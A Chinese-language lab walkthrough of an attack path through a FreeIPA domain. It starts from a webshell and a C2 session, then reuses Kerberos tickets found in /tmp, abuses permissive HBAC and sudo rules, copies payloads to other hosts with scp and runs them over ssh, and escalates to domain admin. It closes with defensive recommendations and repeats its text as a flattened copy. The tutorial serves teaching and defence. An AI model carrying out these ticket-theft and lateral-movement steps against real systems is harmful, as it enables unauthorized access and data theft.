攻击 FreeIPA 第三章:攻击路径
字数 1283 2025-08-25 22:59:02

FreeIPA 攻击路径分析与利用教学文档

0x00 实验环境概述

本实验环境是一个配置好的FreeIPA域环境,攻击者初始拥有:

  • 一台受FreeIPA管理的Web服务器的WebShell权限
  • 通过Poseidon C2框架上线
  • 当前用户上下文为nginxadmin

目标:

  1. 获取FreeIPA域的管理权限
  2. 从SQL数据库中提取敏感数据

0x01 初始信息收集

1. 检查当前用户上下文

whoami
# 输出为nginxadmin

2. 确认IPA管理工具位置

which ipa
# 通常位于/usr/bin/ipa

3. 检查临时目录中的Kerberos票据

ls -la /tmp/
# 查找可读的Kerberos CCACHE票据文件

0x02 Kerberos票据利用

1. 验证并应用发现的票据

# 检查票据有效性
klist -c /tmp/[ticket_file]

# 将票据应用到当前会话
export KRB5CCNAME=/tmp/[ticket_file]

2. 枚举nginxadmin账号权限

ipa user-show nginxadmin

重点关注:

  • 应用的Sudo规则
  • HBAC (Host-Based Access Control)规则

0x03 权限深度分析

1. 查询HBAC规则

ipa hbacrule-show "Web-Admin"

分析结果:

  • nginxadmin可以访问mysql.westeros.localweb.westeros.local上的所有服务
  • 这意味着可以使用SSH和SCP

2. 查询Sudo规则

ipa sudorule-show "Web-Sudo"

分析结果:

  • nginxadmin可以在mysql.westeros.localweb.westeros.local上以任何用户身份执行sudo
  • 可以运行任意命令

0x04 横向移动实施

1. 通过SCP上传Payload

scp /path/to/payload nginxadmin@mysql.westeros.local:/tmp/

2. 通过SSH执行Payload

ssh nginxadmin@mysql.westeros.local "sudo /tmp/payload"

3. 获取mysql.westeros.local的root权限

由于Sudo规则允许以任何用户执行命令,可以直接获取root shell:

ssh nginxadmin@mysql.westeros.local "sudo -i"

0x05 域管理员权限提升

1. 查找域管理员票据

find /tmp/ -name "*krb*" -type f -exec klist -c {} \; 2>/dev/null

2. 分析admin账户权限

ipa user-show admin

关键信息:

  • 属于"admins"和"trust admins"组
  • 拥有多个Sudo规则和HBAC规则的成员资格

3. 利用sudo权限获取域控制

方法一:复制并修改票据

cp /tmp/[admin_ticket] /tmp/admin_ticket
chmod 600 /tmp/admin_ticket
export KRB5CCNAME=/tmp/admin_ticket

方法二:直接以root身份上线(更简单)

ssh nginxadmin@target_host "sudo -i"

0x06 最终域控制验证

1. 测试横向移动到其他主机

scp payload admin@vault.westeros.local:/tmp/
ssh admin@vault.westeros.local "/tmp/payload"

2. 确认域管理员权限

ipa user-find
ipa host-find
# 应能列出所有用户和主机

0x07 关键知识点总结

  1. FreeIPA权限模型

    • HBAC规则控制主机访问权限
    • Sudo规则控制命令执行权限
  2. Kerberos票据利用

    • CCACHE票据可被复制和重用
    • KRB5CCNAME环境变量控制票据使用
  3. 权限提升路径

    • 通过枚举发现过度宽松的Sudo规则
    • 利用HBAC规则进行服务访问
    • 通过现有票据或sudo权限获取更高权限
  4. 横向移动技术

    • SCP用于文件传输
    • SSH配合sudo执行命令
    • Kerberos票据重用

0x08 防御建议

  1. 最小权限原则

    • 严格限制HBAC和Sudo规则
    • 避免使用通配符和过于宽松的规则
  2. 票据管理

    • 限制Kerberos票据的存储位置和权限
    • 实施票据生命周期管理
  3. 监控与审计

    • 监控异常的sudo和SSH活动
    • 审计Kerberos票据的使用情况
  4. 环境加固

    • 限制/tmp目录的权限
    • 实施文件完整性监控

通过本教学文档,可以全面了解FreeIPA环境中的攻击路径和利用方法,同时也为防御此类攻击提供了基础思路。

FreeIPA 攻击路径分析与利用教学文档 0x00 实验环境概述 本实验环境是一个配置好的FreeIPA域环境,攻击者初始拥有: 一台受FreeIPA管理的Web服务器的WebShell权限 通过Poseidon C2框架上线 当前用户上下文为 nginxadmin 目标: 获取FreeIPA域的管理权限 从SQL数据库中提取敏感数据 0x01 初始信息收集 1. 检查当前用户上下文 2. 确认IPA管理工具位置 3. 检查临时目录中的Kerberos票据 0x02 Kerberos票据利用 1. 验证并应用发现的票据 2. 枚举nginxadmin账号权限 重点关注: 应用的Sudo规则 HBAC (Host-Based Access Control)规则 0x03 权限深度分析 1. 查询HBAC规则 分析结果: nginxadmin 可以访问 mysql.westeros.local 和 web.westeros.local 上的所有服务 这意味着可以使用SSH和SCP 2. 查询Sudo规则 分析结果: nginxadmin 可以在 mysql.westeros.local 和 web.westeros.local 上以任何用户身份执行sudo 可以运行任意命令 0x04 横向移动实施 1. 通过SCP上传Payload 2. 通过SSH执行Payload 3. 获取mysql.westeros.local的root权限 由于Sudo规则允许以任何用户执行命令,可以直接获取root shell: 0x05 域管理员权限提升 1. 查找域管理员票据 2. 分析admin账户权限 关键信息: 属于"admins"和"trust admins"组 拥有多个Sudo规则和HBAC规则的成员资格 3. 利用sudo权限获取域控制 方法一:复制并修改票据 方法二:直接以root身份上线(更简单) 0x06 最终域控制验证 1. 测试横向移动到其他主机 2. 确认域管理员权限 0x07 关键知识点总结 FreeIPA权限模型 : HBAC规则控制主机访问权限 Sudo规则控制命令执行权限 Kerberos票据利用 : CCACHE票据可被复制和重用 KRB5CCNAME环境变量控制票据使用 权限提升路径 : 通过枚举发现过度宽松的Sudo规则 利用HBAC规则进行服务访问 通过现有票据或sudo权限获取更高权限 横向移动技术 : SCP用于文件传输 SSH配合sudo执行命令 Kerberos票据重用 0x08 防御建议 最小权限原则 : 严格限制HBAC和Sudo规则 避免使用通配符和过于宽松的规则 票据管理 : 限制Kerberos票据的存储位置和权限 实施票据生命周期管理 监控与审计 : 监控异常的sudo和SSH活动 审计Kerberos票据的使用情况 环境加固 : 限制/tmp目录的权限 实施文件完整性监控 通过本教学文档,可以全面了解FreeIPA环境中的攻击路径和利用方法,同时也为防御此类攻击提供了基础思路。